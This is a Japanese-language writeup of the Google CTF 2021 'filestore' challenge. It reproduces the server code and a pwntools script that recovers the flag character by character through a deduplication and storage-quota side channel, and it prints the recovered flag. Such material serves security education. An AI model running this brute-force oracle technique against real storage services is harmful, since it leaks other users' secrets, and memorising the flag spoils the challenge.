Google CTF 2021 writeup - filestore

哀れな一人チームで参戦。
1完出来ただけ良しとすべきかと思ったけどこの問題だけ321チームにも解かれていたので悩みどころ。
CPPは処理を追っている最中に眠くなったので断念。またwriteupを見て復習したい。

Filestore

問題概要

We stored our flag on this platform, but forgot to save the id. Can you help us restore it?

以下のコードが与えられる。

import os, secrets, string, time
from flag import flag


def main():
    # It's a tiny server...
    blob = bytearray(2**16)
    files = {}
    used = 0

    # Use deduplication to save space.
    def store(data):
        nonlocal used
        MINIMUM_BLOCK = 16
        MAXIMUM_BLOCK = 1024
        part_list = []
        while data:
            prefix = data[:MINIMUM_BLOCK]
            ind = -1
            bestlen, bestind = 0, -1
            while True:
                ind = blob.find(prefix, ind+1)
                if ind == -1: break
                length = len(os.path.commonprefix([data, bytes(blob[ind:ind+MAXIMUM_BLOCK])]))
                if length > bestlen:
                    bestlen, bestind = length, ind

            if bestind != -1:
                part, data = data[:bestlen], data[bestlen:]
                part_list.append((bestind, bestlen))
            else:
                part, data = data[:MINIMUM_BLOCK], data[MINIMUM_BLOCK:]
                blob[used:used+len(part)] = part
                part_list.append((used, len(part)))
                used += len(part)
                assert used <= len(blob)

        fid = "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16))
        files[fid] = part_list
        return fid

    def load(fid):
        data = []
        for ind, length in files[fid]:
            data.append(blob[ind:ind+length])
        return b"".join(data)

    print("Welcome to our file storage solution.")

    # Store the flag as one of the files.
    store(bytes(flag, "utf-8"))

    while True:
        print()
        print("Menu:")
        print("- load")
        print("- store")
        print("- status")
        print("- exit")
        choice = input().strip().lower()
        if choice == "load":
            print("Send me the file id...")
            fid = input().strip()
            data = load(fid)
            print(data.decode())
        elif choice == "store":
            print("Send me a line of data...")
            data = input().strip()
            fid = store(bytes(data, "utf-8"))
            print("Stored! Here's your file id:")
            print(fid)
        elif choice == "status":
            print("User: ctfplayer")
            print("Time: %s" % time.asctime())
            kb = used / 1024.0
            kb_all = len(blob) / 1024.0
            print("Quota: %0.3fkB/%0.3fkB" % (kb, kb_all))
            print("Files: %d" % len(files))
        elif choice == "exit":
            break
        else:
            print("Nope.")
            break

try:
    main()
except Exception:
    print("Nope.")
time.sleep(1)

考察

storeを選択し文字列を与えると、サーバー上の2**16のバイト列に書き込みが行われる。

「# Use deduplication to save space.」と書いてある部分に着目すると、文字列をstoreする際に先頭16バイトをサーバーに保存されている文字列と重複するかを確認した後、重複するプレフィックス長（最大1024バイト）を求めている。全て重複していなければ新たに保存し、16バイト分の文字列長がusedに加算される。

実験

フラグの形式は「CTF{...}」と分かっており、既にフラグが追加されているのもコードから確認出来るため、実際に「CTF{」という文字を送り付けてstatusを確認してみる。

== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Fri Jul 23 02:54:44 2021
Quota: 0.026kB/64.000kB
Files: 1

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{         
Stored! Here's your file id:
B4SoCXVzHwJUphrK

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Fri Jul 23 02:54:54 2021
Quota: 0.026kB/64.000kB
Files: 2

Menu:
- load
- store
- status
- exit

Quotaに着目すると、「CTF{」の保存前と保存後で数値が変わっていない。
よって「CTF{」以降の文字をブルートフォースして数値が変わらないものがフラグの一部分とすればOK。

solver

サーバーでは最初の16バイトしか正しく重複検査できない。
例えば「CTF{hogehogeabcdefg}」というフラグが保存されていた場合、「CTF{hogehogeabcd」までしか期待した重複検査を行わず、「CTF{hogehogeabcda」という文字列を与えても数値が一致してしまう。

開催時は愚直に15文字以上になったら最初に指定するフラグの位置を変えてエスパーしたが、特定したフラグが15文字以上になった場合一文字ずらして送り付けるようにすれば綺麗に求まるので、他の方のwriteupを参考にしつつ書き直した。（とはいえ自分の環境ではタイムアウトが起きたのでどちらにせよ指定するフラグはズラさなければダメだった...。）

from pwn import *
import string

s = string.printable
quota = "0.026kB/64.000kB\n"
flag = "CTF{"
io = remote('filestore.2021.ctfcompetition.com',1337)
ctr = 0

while("}" not in flag):

    print(flag)

    for i in range(len(s)):
        flag_send = flag[ctr::] + s[i] 
        io.sendlineafter("- exit","store")
        io.sendlineafter("Send me a line of data...",flag_send)
        io.sendlineafter("- exit","status")
        io.recvline()
        io.recvline()
        io.recvline()
        quota_server = io.recvline()
        if(quota == quota_server.decode().replace("Quota: ","")):
            flag += s[i]
            break
        else:
            quota = quota_server.decode().replace("Quota: ","")
            #print(quota)

    if(len(flag) >= 15):
        ctr += 1

print("flag : %s" % flag)

CTF{CR1M3_0f_d3dup1ic4ti0n}